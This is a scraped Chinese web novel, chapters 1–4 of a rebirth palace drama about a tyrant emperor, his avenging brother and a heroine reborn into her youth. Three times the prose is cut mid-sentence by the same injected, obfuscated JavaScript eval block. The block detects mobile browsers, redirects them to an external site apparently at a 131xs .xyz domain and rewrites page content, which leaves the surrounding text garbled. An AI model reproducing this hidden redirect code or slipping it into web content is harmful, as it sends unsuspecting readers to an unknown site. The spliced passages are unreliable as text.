《光映宫阙(重生)》 1. 第 1 章 洪珲六年皇城宁跃城 皇宫深处,帝宫之中。 沈叙清坐在凄寒的光亮之中,着了袭黑红相间的锦袍,冷玉一般矜高和冷漠。左相陈祖渝立于离他半丈远的地方,一张脸仿佛蒙了霜雪。 “陛下,再不走就来不及了,叛军已经兵临城下了。” 叛军? 闻言,沈叙清的薄唇微微上翘。看着是在笑,可那笑意分毫未至眼底。 “哪来的叛军?来的可是孤的弟弟。” 同父同母的亲兄弟,沈叙白。 中宫嫡出血脉相连,过去那也称得上是兄友弟恭,现如今却闹到水火不相容的地步。 沈叙白,想要沈叙清的命。 而沈叙清,若是胆量和能力足够,他早就想将沈叙白抹杀了。 他有什么好,阿翎满心满眼都是他。她宁愿死在锦绣宫,也不愿做他的皇后。 母后临死都不放心他。 思绪跌宕,晃出恨意,一瞬浓郁。沈叙清眸中的冷漠被破碎,猩红涌出。 “宣孤旨意,令李霖智率兵守城。倘若宁跃城破,李智霖也别活了。” 李霖智和沈叙白差不多的年纪,今年秋满二十四岁。他虽出自显赫将门,但今日之前他仅仅是在十二亲军卫中占了个闲职。别说打仗了,连出手的机会都少。 眼下沈叙清令他去抗沈叙白的二十万宁东军,同让他去死没什么分别,目的是让沈叙白不好过。 宁跃城无人不知,李霖智是沈叙白的好兄弟。在沈叙白赴陇西驻边前两个人时常一块儿耍,再加个慕家大少慕翎祥,宁跃城三少可谓声名赫赫。 连先帝都时不时会问:咱们宁跃城的三位少爷最近在做什么? “诺。” 陈祖渝顿滞了数息才有回应,想劝些什么的,但未能够。 只因他比谁都了解帝王心。 早在沈叙清还是三皇子时,他的专横已隐约现于外了。为帝六年,他怎么可能还能听得进臣子的劝谏? 陈祖渝离开后,帝宫重归静寂,透着一股令人发寒的森冷。半晌后沈叙清忽而抬头,看向虚空中的某一点。明明什么都没有,他却仿佛在看爱人,目光专注又温柔。 “阿翎,你想他吗?” “你宁愿死也不愿意背弃他,他到底是没让你失望。” 散落在帝王周围的内侍和婢女听到了些许,身体细微发颤,头颅也是一低再低。 陛下,好像越来越疯了。 沈叙清对众人反应一无所知,不过就算知晓了他也不会在意。早在他将妻妹慕翎玥困在中宫锦绣宫时,帝王声名已被他踩在了脚底。 他持续盯着虚空的那一点,“不过回了又如何?他再见不到你了。” 话音末处,沈叙清阴冷而短促地笑了声。 “孤有时候会想他把孤杀死也不错,如此孤会先他一步见到你。” “阿翎,等等孤。” 又是半晌冷滞,沈叙清低声唤了声,“张漆。” 内侍总管张漆走近帝王,“陛下,奴才在。” 沈叙清:“你亲自跑一趟地牢,给刘坤城赐杯酒。” 他说得很婉转,但那酒是什么酒张漆一清二楚。 忍了几年,陛下终于不打算再忍了。 当年若不是刘坤城暗中相帮,被牢牢控住的慕家四姑娘就是想死都没办法。 在陛下眼里,刘坤城是比沈叙白还要可恨的存在,早就起了杀心。没杀不过是因为刘坤城乃诏国第一权臣牵绊众多,当时初登基,杀了怕稳不住时局。 如今沈叙白二十万大军兵临城下,时局乱透,杀刘坤城不过是再乱些。对陛下而言,没什么差别了。 “奴才遵旨。” 张漆躬身后退,退了丈余转身离去。 戌时中,张漆出现在天牢,隔着根根分明的隔断看着刘坤城。 刘坤城着了一身朴素的灰衣,可那灰衣洁净干爽。他看着虽清瘦,但精神不错,一眼瞧不过便知在大狱里也没遭什么罪。 张漆的到来造出了不小的动静,但他并未朝这边瞧。默默地坐着,眉眼低垂,直到张漆低声唤了声,“坤爷。” 刘坤城嘴角微微上翘,缓慢抬头,看向张漆:“陛下想送我上路了吗?” 张漆默认了。 刘坤城笑了,低而短促的一声。 “咱们这位陛下心气盛得很,奈何能力不行。” 张漆:“坤爷,不该说的话就别说了。您不如想想还有什么要交代的,咱家帮您转达。” 刘坤城:“我刘坤城无父无母无妻儿,有什么需要交代的啊?如今只有一事想求张总管。” 说罢,刘坤城大手一挥,视线中的守卫纷纷退离。 张漆神色淡淡,并未被这一幕惊到。 刘坤城第一权臣的名号可不是吹出来的。 当朝三品以上官员,无论文臣还是武将,或多或少都同他有些牵扯,有些是恩情有些是有把柄落在他的手上。 不管是哪一种,都能让他在诏国持续“嚣张跋扈”。 有时候他甚至觉得,倘若刘坤城想出地牢他也有办法。 “坤爷想让咱家为您办什么?”思绪跌宕间,张漆开口问道。 刘坤城笑,“我可以死,但我想等一个结果。” 什么结果,张漆心知肚明。 自永宁王殿下率大军出永宁镇,一路血雨腥风他分毫未留情,朝堂内外就在等这个结果了。 “我身上背负着慕家四姑娘的命,虽事出有因,永宁王也是不会放过我的。他可不是沈叙清那种孬种,明明恨透了我也不敢杀。只要我落在他的手上,只有死路一条。” 横竖都要死,他选择死在永宁王手中。 张漆不知道如何回应。 他心里明白若刘坤城不想死,今夜他无论如何都是死不了的。可若顺了他的意思,他该如何去陛下那里复命? 左右为难。 刘坤城仿佛读全了张漆心中所想,低声道,“张总管只管回去复命说我死了。我会‘死’得很彻底,陛下无论如何都不会察觉的。” “张漆,过去我可没亏待过你啊。” 张漆被这句话击中,犹豫慢慢地散了去。 若没有刘坤城,哪儿有今日的张漆?刘坤城这个人做过的坏事多不胜数。可他也帮过很多人,比如他又比如慕家四姑娘。 沉默,对峙。 张漆终于有了决定,“坤爷,今次权当报过去恩情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495326|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,日后再见张漆不会留情面。” 刘坤城笑,“去吧。” 张漆留下了毒酒,朝着牢狱外而去。走了丈余,他忽然回头望。 “坤爷。” 刘坤城:“嗯?” 张漆:“您当初为什么要帮慕家四姑娘?” 刘坤城默了数十息才回,音量低微,“她是我见过字写得最好的小姑娘。” 她自有光华,根本无须皇家加持。 甚至可以说,是皇家拖累了她。 那年他觉得她有另外的路可以走,比如遂了沈叙清的愿望为后,留得青山在还怕没柴烧?永宁王不是迂腐的人,她活着之于他比什么都重要。 又或者他帮她逃出锦绣宫,从此隐姓埋名过隐居的生活。虽然荣华富贵不在,但总归是活着。 他也曾一一同她道明。 可她拒绝了。 她说:我不是怕七哥介意,我是好累好累了。即便七哥回来了,我怕是也活不了多久了。 再则,只有我死了七哥才有可能放下兄弟亲情下狠手。 诏国万民,需要新君。 一个大度,仁慈,心向着万民的明君。 慕翎玥早在几年前就料到今日了,那是她期盼的。她清醒着赴死为万民搏未来,也让沈叙清再无法祸害她了。那会儿她的身体已经很不好了,精神衰竭,说话时音量如羽落雪很轻很轻。可她的话让冷硬的刘坤城产生了自惭形秽之感。 想他刘坤城位高权重和对手斗生斗死,先帝对他百依百顺……但他从未想过王朝未来,以及那些如草芥一般的平民。但一个十八岁的小姑娘想到了,并敢于以身破局。 她,成功了。 当夜刘坤城被帝王赐死的消息穿透过坚厚的城墙朝着宫廷外散去。有人畅快有人难过,有人再藏不住对帝王的恨意。 而沈叙清,便是畅快这拨中的一位。 戌时末,李霖智着了铠甲站上了宁跃城南城楼,领将士抗永宁王率领的叛军。终于被重用,可他的眼底不见一丝喜意,整个人仿佛在冰水中浸泡了几个日夜,冷到木然。 这个时候没人嫌弃他资历不足,反而是心疼他。 帝王此举不过是想让兄弟相残,永宁王殿下就是胜了,爱人没了兄弟没了,也是个半死之人了。 李霖智立于高处,远眺。夜里能见度低,他其实瞧不清他的七哥,可他知道他回来了。今夜他就是死了,也能去和阿翎说七哥杀回来了。 他们诏国的天,该亮了。 “开城门,本将去会一会永宁王。” 话音落定,有人惊呼:“将军,你一个人去啊?” 李霖智循声看向那人,“是啊。陛下不过是想我死在永宁王手中,你们何必去送死?” 即将赴死,李霖智的脸上布满了笑,明亮不羁。时光仿佛回溯到多年前,宁跃城三少游走在街头巷尾,打贪官惩恶霸,少年心气磅礴。 “我若身死,你们就不用再战了。” 留了话,李霖智决绝转身离去,沿着层层阶梯而下。 “将军。” “将军不可啊。” 声声唤,却不曾延缓他的步伐。 他等这一天很久,很久很久了。 2. 第 2 章 城门大开,李霖智单枪匹马冲出。一程疾行,近了叛军阵前。 沈叙白足以瞧清是他,不由冷笑一声,“李少将军。” “不会到了现在,本王的这位三哥还以为吾是在和他闲耍?” 一句话,将帝王和李霖智的颜面踩在地面搓磨。 李霖智长枪挥动,凌锐风起。 带出的风声让沈叙白明白,过去几年李霖智定是在努力,拼尽了他的力气。 “七哥,战吧。” “李家忠君之名不能毁在我李霖智身上。” 言下之意,直到现在为止诏国国君都是沈叙清。他说的话便是天,无人可逆。 沈叙白冷着脸:“滚一边去。” 李霖智笑,“这回阿智不想听七哥的了。” 话落,策马冲向了沈叙白,一脸决然。 “殿下,末将来吧。” 沈叙白身旁的骁勇将军侯阳担心沈叙白受困于旧时情意,沉声提议道。 沈叙白:“不用,这一场本殿自己来。” 瞧瞧阿智进步到什么程度了。 话落,孤身下马。 抽剑冲向一人一马,如风掠动,恍若残影。 到了近处,挥剑,尖锐而磅礴的剑气冲向李霖智和马匹。 李霖智被迫跃马落地,马儿受了惊吓,应激嘶吼疾行。 异动惊天,破了深夜冷霾。 李霖智和沈叙白缠斗在一起,杀招频出。 从前两人也爱打架,但那会儿他们都是扯头发胡乱踢打。费尽了力气,对方除了头皮隐约生疼再无其他伤痛。 近百招后,李霖智被放倒,冷白剑尖抵着他的鼻尖。 “还要多练。” 这话如同一条生路,是未来帝君给李家后人的,可李霖智却笑着摇头。 “七哥,我不想练了,练武好累。” 说完,他突然抽出了一把匕首,猛烈捅向自己的心脏。 匕首柄镶了七颗珍稀宝石,颜色不一,华丽非常。这是阿翎死前托刘坤城送给他的。她还给他留了信件,信件上只有一句话:我们李少将军,迟早威名扬天下。 阿翎到死都对他存了期望,可他终究是个庸才。 他没能保住任何人。 阿翎死后,他几乎每天都在做梦,最常做的那个梦是沈叙清以他和慕翎祥的性命胁迫阿翎入宫。若是阿翎不同意,每过一盏茶的工夫,就会断他们一根手指头。 祥哥为护他朝着沈叙清嚷骂,被生生割掉了三根手指和舌头。 后来阿翎在他眼前被带走,祥哥痛极蜷缩在地,李霖智在那一天其实已经死了,苟活不过是为了再见七哥一面。 终于,他见着了。 皮肉被利器贯穿的声音惊醒了沈叙白,他惊惶失措,根本抑制不住。 剑跌落在地,他跪在了李霖智身旁,小心翼翼地将他抱在怀中。 “阿智,李霖智,你到底在干什么?” “我没想杀你。” “我永远不会杀你。” 母亲走了,阿翎和祥哥也走了,他不能再没有阿智。 李霖智声线颤颤,猩红血液从他嘴角溢出。 “七哥,还能再见你一面真的太好了。” “我……我很想多陪你一会儿,但我活得好辛苦。我看着祥哥被割舌头,被……断指,看着……阿翎被带走。” 明明是帝王妻妹,却被困在中宫,踏出一步宫外必死一人。 “阿智。” 沈叙白以为自己的心早就死透了,根本不会再痛了。可事实狠狠地甩了他一巴掌。 只要他在意的人还存活于世,他的心就永远不可能死透。 痛极,他也无能为力。 泪水滚烫,一滴滴砸在了李霖智脸上。 “七哥,我要沈叙清死,我要他死啊啊啊啊啊啊。” “知道了,知道了。” “七哥,我去找祥哥和阿翎妹妹了。你一个人,会很孤单吧?但是别怕……人生不过几十载,我们宁跃城三少……终会再聚的。” 涌出的血越来越多,弄脏了沈叙白的铠甲,他的泪也越发的凶猛,视线被模糊。 “军医,军医。” 他冷戾地喊着,后方开始有动静。 李霖智竭尽全力攀住他,可他能清楚地感觉到自己的力量在流逝,力不从心:“七哥,以后一定要争强好斗。” 不斗,碰到沈叙清这样的天生坏种只能被一路压着打。代价,太大了。 若能重来一次,他必定好好习武去军营历练,掌军权斗十二亲军卫。 “七……” 最后一声七哥,李霖智没能喊完。 他死在了七哥的怀中,或有遗憾,但已能瞑目。 他知道,随着他的死,沈叙清必死无疑。 “阿智,阿智……” 沈叙白无意识地低喃,一声又一声。 军医至,想将李霖智从他怀中拉开探察,他似发了狂地嘶吼,“滚。” “滚。” 都怪他。 都怪他。 若当年不是他自以为是,主动请缨远赴永宁城抗外敌,沈叙清没有机会将他困在那里。 若不是他一再错误判断沈叙清的癫狂,阿翎祥哥和阿智也就不会死了。 时间随风轻逝,沈叙白渐渐地安静了下来,那双眼眸似覆了冰霜,冷透了。 他终于肯将李霖智交给军医,冷声叮嘱,“好好照顾他。” 仿佛李霖智只是昏睡,过段时间他就会醒了。他站起身,捡起了自己的剑,随后慢步走向自己的战马。 抵达,利落上马。 他不曾再看李霖智,冷声下令,“攻城。抵抗者,格杀勿论。” “杀。” 他策马,率先朝着南城楼而去。穿过去就是他的家,他心爱的小女郎也住在里面。 他答应过她,最多两年他就能归。到那时他定以赫赫战功求父皇赐婚,万千荣耀予她。 可他没能够。 再回来父母没了,兄弟没了,阿翎也不在了。 他恨透了自己。 他是个头脑简单的废物。 南城楼主将谷诺密切关注着战况。 确定李霖智身死,他当即下了令:“开城门,想斗想避随你们。” 谷诺心里明白,随着阿智死去偌大皇城再无永宁王在乎的人。如果有必要,就是屠城他也不会再心软了。 南城楼,破。 沈叙白率军入城,偶遇抵抗,冷绝诛杀。如谷诺想的一般,再没留一丝情面。 南城楼上,副将肖维和谷诺并肩而至。 “将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495327|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您说我们大诏未来会如何?” 谷诺嘴角勾动了下,“很长一段时间不会好了。” 永宁王就是君临天下,他也只剩一个空皮囊了。 沉默因这一句蔓延开来,过了许久,谷诺才又开口,“要是能重来一次就好了。” 重来一次,未必一定会有转机,但总归是新的开始。 新的开始,就意味着有可能翻盘。 只可惜…… 抵抗,随着大军接近皇宫渐渐激烈了起来。 沈叙清像是早料到了这一刻,十二亲军卫分层守卫皇城。实力惊天,数量也不少。恶战始,鲜血和惨叫声交织在一起碎尽了皇城繁盛和安宁。 到了第四天傍晚,沈叙白才进了皇宫。他卸下了身上的铠甲,只着了一身黑衣,矜贵又凄冷。没人能挡得了他了,也无人敢挡。 沈叙白杀红了眼,恶修罗一般,再不是当年那个肆意爱笑的七皇子了。 帝宫深处,两兄弟六年后重聚。 一黑一白,像是在说两个人原就不在一个世界,是血脉将他们强行扯在了一起。 “这几年过得不容易吧?” 当沈叙白提剑,剑尖对着沈叙清的脖颈时,沈叙清笑着问道。 矜贵俊逸一如从前,实则天生坏种。 沈叙白被气笑,“确实挺不容易的,拜三哥你所赐。” “我就想问问三哥,我做错了什么你要这么对我?又为什么要那般对待阿翎?” “阿翎她是慕翎慧的亲妹妹。” 慕翎慧是谁?她是沈叙清的正妃。 沈叙清登基,她该是皇后的。 大抵是因为听到了阿翎这个名字,沈叙清怔了十数息才有回应,“哪里有那么多为什么?溯古观今,就没哪个男子能扛得住江山和美人的诱惑。” “孤想要孤想办法得到,人之常情。要怪,就怪七弟你过于愚蠢心善。在皇家讲善,你可笑吗?更可笑的是父皇偏爱你,母后爱你,阿翎也爱你,她宁愿死也不愿成为孤的皇后。” “七弟,你知道孤有多后悔吗?孤就不该妄图得到她的心一再等待,强行占有便是了。就算她死了,也曾属于过孤。” 这话激怒了沈叙白,剑尖刺破了沈叙清的脖颈。随着一声尖锐惨叫,血液渗出。 “来人,来人啊。” 可事到如今,哪里还会有人应他? 沈叙白又割了一剑,“想求救?那你把阿翎和祥哥还给我。” “把阿智还给我。” 沈叙清像是看出了沈叙白的心痛癫狂,突然愉悦地笑了声。 “想杀孤?杀吧。” “杀了孤,孤就能先你一步去见阿翎了,然后将她占为己有。” “呵……呵呵。” 越想,沈叙清就越兴奋。 沈叙白看他这般,突然不想他这么快死了。 “赵徊。” “末将在。” “将这坏种带入天牢,第一轮我要他的舌头和三根手指。” 这话勾动了沈叙清的记忆,他想起慕翎祥当年痛苦的模样,惊惶失措。 “你敢!你敢!” “若孤有事……啊。” 赵徊挥刀,捅穿了沈叙清的手掌,尖锐的惨叫声盖过了其他所有的声响。 清算开始,以牙还牙。 3. 第 3 章 一夜之间,帝宫易主。 后续异常顺利,只因江山仍姓沈,沈叙白亦是中宫嫡出。然而沈叙白迟迟未举办登基大典,甚至提都没提,仿佛在他眼里,这帝位不名一文。 翌日清晨,他在锦绣宫召见了国师洛承天。 他最爱的两个女人都曾在这里住过,他的母亲和他的阿翎。 洛承天备受先帝器重,沈叙清即位之初也对他颇为尊重。变故发生在洪珲二年末,慕翎玥突然身殒,沈叙清暗召洛承天困住她魂灵之法。 慕翎玥死了,他也不想她转世。 困住她,直到他离世的那一天。 这何尝不是一种相伴到老。 洛承天从未听过这般荒唐的事儿,冷言拒绝了。 沈叙清当时只是平淡笑笑,几日后洛承天被免去国师之位,被困皇族圣地神龙潭。到如今,已经四年了。 “洛氏一门被诏国奉为最接近神的家族,你可有预先料到会有今天?” 沈叙白还是昨夜那身黑衣,有血污气味漫出,可他浑然未觉。 他端坐于大殿中央,冷漠地睇着洛承天。 几年未见,这老头子竟未见老态。 也不知道是不是被神龙潭的灵气蕴养,白衣白发白胡子的老头竟真的带着些神明的清冷感。 洛承天朝着沈叙白微微躬身,“有又能如何?人岂能胜天?” 凡间事皆有缘法,冥冥之中早就注定,任何人都改变不了。 “那皇家养你洛氏一门有何用?” 洛承天淡声回道:“在注定的缘法中寻找破局的机会。” 闻言,沈叙白冷寂的黑眸中有光亮了亮。 “国师找到了破局的机会?” 洛承天没有直接应答,只是道:“在诏国的古史中存在着一个神话,以帝王之血献祭神龙,禁忌之力或许会显现。每三月一次,直到那一天的到来。” 但千百年来,没有帝王尝试过。 爱人和兄弟的死去对于绝大多数帝王来说都是时间能够抹去的事儿。当下他们的伤痛是真的,几年过去了伤痛淡去也是真的。 “陛下,随着您入主皇城,朝晖帝星重焕光彩。您还记得咱们大诏孩子都会唱的古老民谣吗?” 帝星未陨,七星不灭。 “再难,他们都会回到您身边的。” 沈叙白感觉自己的身体一点点暖了起来,眼中的暖光也越发的明晰,“记得。” “我愿意用我的血献祭神龙,哪怕希望渺茫。” 稍作休养,沈叙白随着洛承天前往皇族圣地神龙潭放血。从此春暖秋凉,朝务繁忙,他一直没忘记做这件事。 一晃,十年过去了。 洛承天所说的禁忌之力一直未显现,饶是沈叙白心至坚心绪也开始摇晃。 昌宁十年冬,他又一次将自己的血放入神龙潭,像过去一样细致地观察着神龙潭的变化。 仙雾缭绕,有种超凡之感,然而超凡之物都冷得有些不近人情。 它不是一潭死水,但之于沈叙白同一潭死水也没什么分别了。 “十年了?为什么禁忌之力还没有出现?洛承天,你是不是骗我的?” 沈叙白觉得可能是因为自己放的血不够多,他又割破了自己的另一只手腕。 此番行径可以称得上癫狂,吓坏了跟着沈叙白来的永宁军高级将领陈槐。 他不禁惊呼了一声,“陛下。” 想上前去制止又不敢,只因知道慕家四姑娘和李霖智对沈叙白来说意味着什么,让他放下执念根本是不可能的事儿。 洛承天轻轻叹了口气,提步走近了沈叙白,嗓音低哑,悲伤再也藏不住,“陛下,老夫确实骗了你。帝君之血确实珍贵,可帝君终究只是个凡人。凡人怎可动天?” 沈叙白闻言,只觉眼前一阵黑,身体猛烈晃动了下。 “老东西,你信不信我诛尽洛氏一门。” 洛承天:“陛下,若是杀了臣能让您舒服些您就杀吧。若当年您和老臣易地而处,您也会做出和老臣一般决定的。” 沈叙白的遭遇确实悲惨。 可他是这天下之主,朝晖帝星都因他回归皇城璀璨长明。国不可一日无君,万民需要一位仁爱贤德的君王。族里一合计,决定给帝君一个“生”的理由。 哪怕事情败露,洛氏一门可能会毁于帝王震怒。 “呵……呵……” 沈叙白笑了,断断续续,低冷又悲伤。 其实早在十年前他就知道希望渺茫,可希望渺茫总归是有些希望的。 万一呢? 可事实是洛承天骗了他,“希望”从一开始就是不存在的。 “阿翎,对不起。七哥真的什么都干不好。” “但七哥,可以去陪你。” 在这个顷刻,沈叙白终于知道阿智明明都快熬出头了,为什么还要选择去死。 有时候,活着真的很累很累。 而死,是一种解脱。 低语间,沈叙白再次挥动匕首,这回他近乎割断了自己的脉搏,霎时间鲜血疯狂外涌。 “陛下,不要啊。” 陈槐心惊,终是朝着沈叙白而去。 沈叙白循声看他,嘴角细微地动了下,“不要过来,这是圣旨。” 陈槐的脚步止住,眼中的泪开始压不住。 “陛下。” 沈叙白:“别伤心,有生就有死。就像国师说的,诸般缘法早就注定了。” 说完,他的目光缓慢地扫向了洛承天。 “洛氏一门千百年来一直清正无私,未来帝君,就由你们选定吧。” “老头子,你不要让我失望。” 老头子。 如此称呼,有失庄重。 可洛承天,心里是欢喜的。 只因当年沈叙白还是七皇子时就惯爱这么唤他,先帝因这事儿没少骂他。 他认错态度良好,但从来不改。 经历了那么多之后,陛下还能记得从前,是多么珍贵的一件事啊。 洛承天朝着帝王跪拜,“陛下放心,老夫定会在逝去前为大诏择出明君。” 洛承天的脸贴着地面,沈叙白看不清他的脸。 自然也无从得知他流泪了,极为罕见的。 更不知道他在无声祈求龙神现世,赐人间一场造化,为此他能献祭所有。 沈叙白的生机随着血液流失越来越淡了,一瞬他终是倒在了地上。 陈槐和洛承天慌忙地奔向他。 有人先他们一步将沈叙白抱入怀中,影影绰绰,柔光摇曳。 沈叙白想睁开眼睛看,但他太乏了,凝神成了不可能的事儿。 “阿翎?” “我在。” “真的是你吗?七哥好想你。” 柔光将他裹紧:“七哥,不要再怪自己了。你永远是阿翎心中最好的郎君,谁也比不上。倘若有来世,阿翎定会早早地找到你,要你娶我。” 慕翎玥不知道这一切是怎么发生的,但从昌宁五年开始她就能听到沈叙白说话了。 时至今日,她竟能将他拥入怀中,虽然旁人可能看不到。 心是满的,却也酸涩难当。 那年她选择死,一方面是想了结这荒唐的一切,另一方面是觉得少时情谊虽然深厚,但离刻骨铭心还有距离。七哥心中固然有伤,也终会有淡去的一天。 结果,是她想错了。 哥哥和阿智也都想错了。 没了他们,至高王座对于七哥而言就是负担。 皇宫,是吃人的牢笼。 思绪跌宕,有光落在了沈叙白的额间,那是慕翎玥在吻他,“七哥,阿翎给你唱首歌吧。” 沈叙白连回应都没力气了。但他能听到阿翎在唱歌,是洛承天提及的那首民谣,这是他第一次听到阿翎唱起这首歌。 一句句,清晰而柔美,仿佛阿翎是真的复生了。 “帝星未陨,七星不灭。” 这一句并不是民谣的最后一句,然而当阿翎唱到这里,天际还未彻底暗淡,七星盘现。 光彩耀眼,击碎了柔光。 阿翎消失了。 沈叙白似感受到了什么,有泪水从他紧闭的眼角溢出。 “小姐,您醒醒。怎么了这是?做噩梦了吗?” 帝都慕府,略显焦急的声音从四姑娘的小院中传来,说话的是她的贴身婢女流光。 慕府乃帝都颇有名望的大家族,原就是声名赫赫,随着慕家二子慕齐梧进了吏部成了掌实权的天官,慕家声威从此更上一层楼。长子慕齐杉则控慕家三百六十间商行,生意兴隆。 是诏国少有的兄弟不分家,一大家子仍能和乐共处的大家族。 怀安帝都夸其家风顺和,必定长荣。 慕家四姑娘名唤慕翎玥,乳名儿阿翎,乃长子慕齐杉幼女。她也是家族年纪最小的,一出生,便集万千宠爱于一身。 前两日奇花节,慕翎玥随着兄姐出门赏花,结果突遇暴雨,尽量避了还是沾了一身湿。 当天夜里就开始烧了,今儿已是第三天了,烧虽然退了,可小姑娘仍旧未醒。 这可愁坏了慕府众人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495328|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕老爷子那边也快瞒不住了。 “小点声儿,莫要惊扰到小姐。” 流光焦急话音还未散尽,一绿衣姑娘便掀帘进了房。这姑娘生了双凤眼,皮肤白皙,一眼看过去只觉冷艳。她名唤阿屏,五岁时就陪伴在慕翎玥身边了,到了今日已有十二个年头了。 流光循声看向她,小脸上焦急未散去:“阿屏姐姐。” “小姐她哭了,肯定梦魇了。” 阿屏走到床边,确定流光所言非虚,随即跪坐在床边握起慕翎玥的手。 那只手冰冷刺骨,一触及,阿屏秀眉微蹙。 “小姐,不管你梦到了什么,别怕。试着睁开眼,阿屏在安宁处等你。” “小姐,七皇子刚又来了,这回他带来了一支半人长的红参。说是给大少的,但阿屏知道他就是担心小姐找个借口来探望,那红参也是想赠予小姐补身体的。” 提及七皇子时,阿屏发觉小姐的手指动了下。幅度极为细微,她不敢确定。 她急忙说道:“小姐,快醒吧。再过过老爷子肯定生疑,老爷和大少他们都要被骂。” “七皇子下回再来,带来的说不定就是太医院院长了。” 慕翎玥觉得自己的头好疼,脑袋似乎会在下个瞬间裂开。她想开口求救,可是无论她怎么努力都无法发出声音。 浑浑噩噩间,她相继听到了流光和阿屏的声音。 阿屏不断地同她说道七皇子和慕家人…… 是不是只要睁开眼睛,就能看见七哥了?就能看见父亲和大哥了? 那支半人长的红参,是她身高的一半还是七哥的一半?阿屏姐姐这回说话不严谨。 温情短暂地摒除了疼痛,慕翎玥的思绪开始凝实。 “七哥。” “大哥。” …… 手指再度蜷动,泪水热烫,不断从眼角滑出。 终于,慕翎玥睁开眼睛,有光灌入她的眼中。自然的光线,柔和又绵长。 “小姐。” “小姐,您可算是醒了。” 阿屏的小脸被惊喜点亮时,流光一屁股坐到了地上,荒唐又逗趣。 缓了缓,阿屏目光扫向了流光,“要坐到什么时候?赶紧去通知老爷和夫人,然后把大夫请过来。” 流光:“好好好,我这就去。” 说话间,人已从地上跳起,朝外冲去。 走了一程,流光忽然又回过头看了慕翎玥,确定她是真的醒转了,嘴角微微翘。随后再未耽搁,急步离去。 阿屏起身,给慕翎玥张罗了盏温水,小心翼翼地喂着。几口温水下肚,慕翎玥越发的清醒了。 当下种种,好真实啊。 柔和绵长的光亮,阿屏温柔的嗓音,甘甜的水…… “阿……屏……” 慕翎玥艰难地咬字,声音仿佛被沙砾磨砺过,又哑又粗糙。 阿屏柔声应道:“阿屏在。” 慕翎玥嘴角轻轻翘动,从前阿屏也总是这般应她。 “我怎么了?” 阿屏眼底有微弱诧异一闪而过,但她还是详细地回了话。 慕翎玥想起来了:“那现在是……” 她有了答案,但她没法诉诸口,心脏怦怦乱跳,每一下都沉得很。 阿屏当她是烧迷糊了,轻而短促地笑了声,“现在啊,是泰启二十五年,过几天就是春茗大宴了。” 春茗大宴,帝王两年办一次,意在慰劳表彰朝忠肱骨和各界有名望之人。 “小姐要快些好,不然二爷定是不会让咱们去了。如此盛宴,错过了当真可惜。” 阿屏今儿话多,异于寻常,多少是存了提振慕翎玥精神的心思。 她不知道慕翎玥经历了什么,只是随心而为,没想到歪打正着,一寸寸抚平了慕翎玥的不安。 灵魂无缝归位。 “小姐,再躺会儿吧?阿屏陪着你。” 慕翎玥微微颔首。 由阿屏扶着,重新躺到床上。 她躺下后,阿屏陪了一会儿才起身。起身去干什么,阿屏没说。但慕翎玥能猜到,肯定是打水给她擦脸净手。 做完这一切,阿屏又要去拿热汤了。 她家阿屏,是一刻都闲不住的。 思绪无声漫开,慕翎玥的嘴角微微上翘。 七哥,你竟真的成功了。 你带回了阿翎,让我们有了重来一次的机会。 这一回无论发生什么,阿翎都会努力活着,陪你走向至高王座。 皇宫孤冷,但你永远不会孤单。 4. 第 4 章 近两盏茶的工夫后,慕翎玥的小院静寂被碎尽,慕家大夫人潞歆和慕二姑娘慕翎慧到了。 潞歆坐在床边,仔细地打量着自家姑娘,见她小脸苍白黑眸含雾,还不是很清醒的样子,心脏一抽一抽的疼。 素白的手轻轻抚着她的发,爱怜毕现,“就这身子骨,以后娘亲哪里还敢放你出门耍?你这丫头,这回真是吓到大伙儿了。” “你爹差点没动家法抽你的两个阿兄。” 两位阿兄,一位是慕翎玥的亲兄长慕翎祥,另一位是堂兄慕翎睿。 慕翎慧一直站在母亲身后,听到这话才挤到床边坐下,笑着戏谑道:“不止,我感觉爹爹连我都想揍。” 这几天,慕翎慧也被吓得不轻。 姐妹俩从小就亲,慕翎玥十岁前一直住在慕翎慧的院子里,日日都想黏着姐姐。 慕翎玥向母亲撒娇,“都是阿翎不好。等阿翎好了定是天天锻炼,强健身体。” 都这般了,潞歆哪里还舍得说半句重话,竖起手指戳了下慕翎玥的额心,“你这话娘亲可记下了,要是做不到,看我不收拾你。” “定是做得到的。” 她的这辈子可是七哥放了十年血换回的,珍贵着呢,她是一息都舍不得浪费。 慕翎慧紧接着开口,“快点好吧,和姐姐一道去参加春茗大宴。” 慕翎玥不由想起从前,姐姐对皇宫的各项宴会并不是太热衷,总觉得规矩太多了干什么都被拘着,远不如在家抑或在街头晃荡自在。 今次是怎么了? 